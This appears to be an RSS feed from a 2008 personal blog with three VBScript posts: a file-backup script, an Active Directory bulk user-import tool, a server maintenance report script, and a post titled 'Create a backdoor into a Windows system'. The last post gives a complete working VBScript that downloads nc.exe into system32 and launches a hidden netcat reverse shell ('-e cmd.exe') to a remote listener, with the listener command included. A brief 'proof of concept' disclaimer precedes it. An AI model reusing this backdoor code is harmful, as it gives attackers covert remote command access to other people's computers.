Advertise with Googlier.com Allan Feid - vbscript https://allanfeid.com/category/tags/vbscript en Useful Administrative Scripts https://allanfeid.com/content/useful-administrative-scripts <div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>On this page is a few simple scripts I've worked on and probably something all network admins should have in some form. It will make life easier trust me.</p> <ol> <li><a href="#backup">Backup Files for Workstation Rebuild/Migration</a></li> <li><a href="#addusers">Add a list of users to Active Directory from a text file</a></li> </ol> <p><a name="backup" id="backup"></a><strong>Backup Files for Workstation Rebuild/Migration</strong></p> <p>Here's a script I wrote while working as an intern at <a href="http://indcorp.com" title="Innovative Network Design">IND Corp</a>. It's pretty straight forward. What it does is copy files from one location to another by file extension. It also creates a list of printers that are installed and backs up all local user's Favorites folder. </p> <pre> For i = 0 To Ubound(arrFileTypes) WScript.Echo "Copying all " &amp; arrFileTypes(i) &amp; " files..." Log arrFileTypes(i) &amp; " files" Log "-------------------------------------------------------------------" Set objScriptExec = objShell.Exec("xcopy " &amp; source &amp; "\*." &amp; arrFileTypes(i) &amp; " c:\back /C /Y /S") Log objScriptExec.StdOut.ReadAll Next </pre><p><cite>The loop that copies all the files</cite></p> <p>If you look at the snippet above you can see it just uses the built in program called <a href="http://www.computerhope.com/xcopyhlp.htm" title="see command arguments here">xcopy</a> to copy all the files from the source to the destination. The script will actually use input boxes to retrieve the source and destination.</p> <p>This script dose have a few limitations. You cannot set the source to say C: and the destination to C:\backup. This is because of how xcopy works. It will recursively scan C: and it can't copy the files to somewhere that it will be searching for files. Typically, as an administrator you should be backing up to a network share or external drive anyway so this isn't that big of a deal.</p> <pre> strComputer = "." Set objWMIService = GetObject("winmgmts:" _ &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2") Set colInstalledPrinters = objWMIService.ExecQuery _ ("Select * from Win32_Printer") ' loop through printers and output to file WScript.Echo "Creating list of printers..." Log "Installed Printers" Log "-------------------------------------------------------------------" For Each objPrinter in colInstalledPrinters Log(objPrinter.name) Next </pre><p><cite>Query WMI for the installed printesr</cite></p> <p>Above you see how the script looks at WMI for all the installed printers and just uses the Log function to output it to the output file. Which in this case is called <code>_output.txt</code> and stored in the backup destination. This file will tell you everything that was backed up and give you the printer list.</p> <p><strong>Downloads:</strong> <a href="/sites/default/files/projects/backup/output.txt" title="output file sample">Sample Output</a>, <a href="sites/default/files/projects/backup/copy_files.vbs.txt">Script Source</a>, <a href="/sites/default/files/projects/backup/readme.txt" title="README">Basic Instructions</a></p> <p><a name="addusers" id="addusers"></a><strong>Add a list of users to Active Directory from a text file</strong></p> <p>Features:</p> <ul> <li>Adds users from a specified text file</li> <li>creates a log file to keep track of what is happening</li> <li>Writes to Event Log on successful creation of a user</li> <li>Automatically generates config file if none is present (must be edited to use properly)</li> <li>Easy to configure for people who don't know anything about scripting</li> <li>Ability to assign what OU to store the user in</li> <li>Various options for configuring how a user is added</li> <li>Checks for username conflicts then adds integer to create a unique username</li> </ul> <p>This script will save you tons of time when your company decides to hire a whole bunch of people. Chances are your company will have everything about the new hires in a database. Well with a simple database query you can create a comma separated list to be used with this script. I put a lot of time into this one to make it the most user friendly (well for people that know what they're doing) as possible. Upon first run it creates a configuration file. Which looks something like this:</p> <p><cite># signifies a comment</cite></p> <pre> #Path to text file containing user information user_file=users.txt #Path to OU where new users are added, read README.txt for more info ou_path=ou=OU, ou=To, ou=Path #Fully Qualified Domain Name domain=example.com #Default password for new users default_password=ChangePass1 #force user to change password at next logon force_change=1 #create account disabled account_disabled=1 </pre><p> This really allows it to be used on any network since nothing is hard coded. All the settings are loaded into a dictionary object and called upon when needed. </p> <p>There's also some nice error checking built in that will test to see if a username is already taken. If it is it tries appending an integer and increases it by 1 until it finds a unique username. The naming scheme I used was first initial + last name. It also fills in the users address and phone number. </p> <p><strong>Downloads:</strong> <a href="/sites/default/files/projects/addusers/README.txt" title="README">Read me first!</a>, <a href="/sites/default/files/projects/addusers/AddUsers.vbs.txt" title="Source">Script Source</a>, <a href="/sites/default/files/projects/addusers/users.txt" title="Example User List">Example User List</a></p> <p><a href="/content/my-projects">Back to my projects</a></p> </div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags:&nbsp;</h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/vbscript" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">vbscript</a></li><li class="field-item odd"><a href="/projects" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">project</a></li></ul></section> Wed, 19 Nov 2008 03:20:20 +0000 Allan Feid 19 at https://allanfeid.com Collect Server Maintenance Information https://allanfeid.com/content/collect-server-maintenance-information <div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>This was the first real VBScript I used on the job. I wrote this while I held an intern position at an IT outsourcing company called Innovative Network Design (IND) Corporation in Parsippany, NJ. The reason I wrote it is simple, they kept assigning me to collect specific information from various client servers. So why keep doing it manually? I wrote this code and the employees actually still use it.</p> <!--break--><p><strong>Project Overview:</strong></p> <p>Using VBScript I was able to come up with a way to create a file that shows administrators key information about a Windows Server 2003 machine. There is also a lot of error checking going on behind the scenes and a few things the script user must input before anything happens.</p> <p><strong>Key VBScript Concepts:</strong></p> <ul> <li>Ability to query WMI for various objects</li> <li>Extensive error checking</li> <li>Use of UNC (\\server\share) file paths to allow remote execution</li> <li>Completely modular, all tasks are in their own procedure</li> </ul> <p><strong>User Input Required:</strong></p> <p>Upon starting the script it will ask you where you'd like to backup the Event Logs to along with your initials. The company I was working for did not have a standard place to back up the logs to so it had to be flexible. Also, as a standard practice we would append our initials to the end of the log file name.</p> <p><cite>Ask for a valid directory and check if it exists</cite></p> <pre> ' ask user for backup log location Dim i i = 0 Do While CheckFolderExists(usrFileLoc) = False If i = 0 Then usrFileLoc = InputBox _ ("Directory to backup Log files to:", _ "Input Required") Else usrFileLoc = InputBox _ ("Invalid Directory..." &amp; vbCrLf &amp; _ "Directory to backup Log files to:", _ "Input Required") End If i = i + 1 Loop </pre><p> <cite>Ask the user for his/her initials</cite></p> <pre> ' ask user for initials Do While strInitials = "" strInitials = InputBox("What are your initials?", _ "Input Required") Loop </pre><p> <strong>Error Checking Capabilities:</strong></p> <p>The script will create an dictionary of all the available WMI objects available on the system and before trying to query each WMI object it checks if the WMI object exists in the dictionary. Then log the error to a second dictionary object. At the end of the script it will tell you what problems it encountered or tell you everything ran successfully. The below code shows an example of what is going on before trying to query WMI.</p> <pre> ' check the dictionary objWMIClasses for "Win32_NTLogEvent" If objWMIClasses.Exists("Win32_NTLogEvent") Then ' run the code to check event logs End If </pre><p> <strong>The User Interface:</strong></p> <p>The user interface is entirely command line based. This is used to show progress as the script runs. It can take some time to complete if there are a lot of logs on the system or a lot of partitions (it has to run disk analysis on each one) so this interface gives you a good idea about what is going on.</p> <p><center><img src="/sites/default/files/projects/maint/user_interface.png" alt="the user interface" width="500" height="246" /></center></p> <p>When you see an "X" that means the item completed successfully while as a "!!" means there was an error while checking that individual item. When there is an error you will be shown more information at the end of the script as shown below.</p> <p><center><img src="/sites/default/files/projects/maint/output_msg.png" alt="output message" /></center></p> <p><strong>Output File:</strong></p> <p>The output file is in Rich Text Format (.rtf) for issues related to the company I was working for at the time. To take a look at a full example download an <a href="/sites/default/files/projects/maint/output.rtf" title="Sample Output">example output file</a>.</p> <p><strong>Source Code and Read Me files:</strong></p> <p>Below you can obtain the actual script along with the read me file. The read me file contains a change log which shows my progress.</p> <p><a href="/sites/default/files/projects/maint/maint.vbs.txt" title="Download Script">Download Source Code</a><br /> <a href="/sites/default/files/projects/maint/README.txt" title="Read Me first!">Download README file</a></p> <p><strong>Watch the script in action:</strong></p> <object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/5G7xzRXFf_A&amp;hl=en&amp;fs=1&amp;rel=0&amp;color1=0x2b405b&amp;color2=0x6b8ab6" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed src="http://www.youtube.com/v/5G7xzRXFf_A&amp;hl=en&amp;fs=1&amp;rel=0&amp;color1=0x2b405b&amp;color2=0x6b8ab6" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object><p> <strong>All Information Gathered:</strong><br /> Here's a list of everything that is gathered</p> <ul> <li>Operating System</li> <ul> <li>Name</li> <li>Version</li> <li>Service Pack</li> </ul> <li>CPU Info (listed per core)</li> <ul> <li>Clock speed</li> <li>Manufacture</li> <li>Type</li> <li>Current load</li> </ul> <li>Memory Information</li> <ul> <li>RAM slot number</li> <li>Memory size</li> <li>Speed</li> <li>Type</li> </ul> <li>Hard Drive Info</li> <ul> <li>Model</li> <li>Drive size</li> <li>Drive type</li> <li>Number of partitions</li> <ul> <li>Volume name</li> <li>Volume size</li> <li>Cluster size</li> <li>Used space</li> <li>Free space</li> <li>Percent free space</li> <li>Total fragmentation</li> <li>Disk Analysis defrag recommendation output</li> </ul> </ul> <li>List of errors in the Device Manager</li> <ul> <li>Error message and name</li> </ul> <li>Parsing of all Event Logs on the system</li> <ul> <li>Each unique error outputs the following</li> <ul> <li>Total times this error occurred</li> <li>Category</li> <li>Computer Name</li> <li>Event Code</li> <li>Message</li> <li>Record Number</li> <li>Source Name</li> <li>Time Written</li> <li>Event Type</li> <li>User</li> </ul> </ul> <li>Anti-Virus information (if Symantec AV is installed)</li> <ul> <li>Date last updated definitions</li> <li>Parent Server</li> <li>Client Group</li> <li>Product Version</li> <li>Scan Engine</li> </ul> <li>Windows Updates available</li> <ul> <li>Number of high, normal, and low priority available</li> </ul> </ul> <p><a href="/content/my-projects">Back to my projects</a></p> </div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags:&nbsp;</h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/vbscript" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">vbscript</a></li><li class="field-item odd"><a href="/projects" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">project</a></li></ul></section> Tue, 18 Nov 2008 21:35:32 +0000 Allan Feid 18 at https://allanfeid.com Create a backdoor into a Windows system https://allanfeid.com/content/create-backdoor-windows-system <div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>Using VBScript and netcat it is quite simple to create a basic backdoor into a users system with the priviledges of the user that ran the script. It's a very basic concept and all it does it download the netcat program (nc.exe) from a trusted website into the users c:\windows\system32 folder. What this does is allow you to run netcat from the command line without dealing with the full location of nc.exe. Once the file is in the system32 folder it can simple be run from any command prompt. </p> <!--break--><p><b>***This is a proof of concept and should not be used for illegal purposes. Only use this in your own test environment and I take no responsibility if you mess something up with this***</b></p> <p>To set this up, you need to have a computer running netcat waiting for the incomming connection. To do that just run a simple command such as:</p> <pre>nc -l 1337</pre><p>That's when we tell the script to run the following netcat command:</p> <pre>nc -d 10.0.0.8 1337 -e cmd.exe</pre><p> What this does is tell netcat to connect to the IP 10.0.0.8 on TCP port 1337. The -e switch tells netcat to execute cmd.exe and output it to the server waiting for the connection. The -d switch tells netcat to run in the background in a Windows environment. The user won't even know it's running without checking the process list. </p> <p>Here's an example script that will automatically download nc.exe, write it to c:\windows\system32 and then execute the netcat command to connect to the remote server: </p> <pre> ' Set your settings strFileURL = "http://10.0.0.10/nc.exe" strHDLocation = "C:\WINDOWS\system32\nc.exe" ' Fetch the file Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") objXMLHTTP.open "GET", strFileURL, false objXMLHTTP.send() If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type = 1 'adTypeBinary objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0 'Set the stream position to the start Set objFSO = Createobject("Scripting.FileSystemObject") If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation Set objFSO = Nothing objADOStream.SaveToFile strHDLocation objADOStream.Close Set objADOStream = Nothing End if Set objXMLHTTP = Nothing Set objShell = CreateObject("WScript.Shell") ' Execute the connection objShell.Exec("nc -d 10.0.0.8 1337 -e cmd.exe") </pre><p> <a href="/content/my-projects">Back to my projects</a></p> </div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags:&nbsp;</h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/windows" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Windows</a></li><li class="field-item odd"><a href="/category/tags/backdoor" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">backdoor</a></li><li class="field-item even"><a href="/category/tags/vbscript" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">vbscript</a></li><li class="field-item odd"><a href="/projects" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">project</a></li></ul></section> Tue, 18 Nov 2008 00:37:27 +0000 Allan Feid 15 at https://allanfeid.com